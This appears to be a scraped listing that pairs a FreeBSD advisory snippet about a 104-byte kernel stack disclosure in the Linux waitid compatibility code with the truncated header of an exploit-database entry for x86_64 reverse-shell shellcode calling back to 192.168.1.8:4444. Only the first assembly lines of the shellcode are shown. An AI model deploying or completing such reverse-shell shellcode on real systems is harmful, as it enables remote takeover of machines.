FreeBSD -- Kernel stack disclosure in Linux compatibility layer

Problem Description: The Linux waitid implementation translates a FreeBSD siginfot struct into a stack-declared Linux siginfot. It did not first zero the stack struct. Impact: An unprivileged user may observe 104 bytes of uninitialized kernel stack data, which may contain sensitive information...

Linux/x86_64 - Reverse Shell (192.168.1.8:4444) Shellcode (104 bytes)

/ ;Category: Shellcode ;Title: GNU/Linux x8664 - Reverse Shell Shellcode ;Author: m4n3dw0lf ;Github: https://github.com/m4n3dw0lf ;Date: 18/07/2017 ;Architecture: Linux x8664 ;Tested on: 1 SMP Debian 4.9.18-1 2017-03-30 x8664 GNU/Linux Source section .text global start start: push rbp mov rbp,rsp...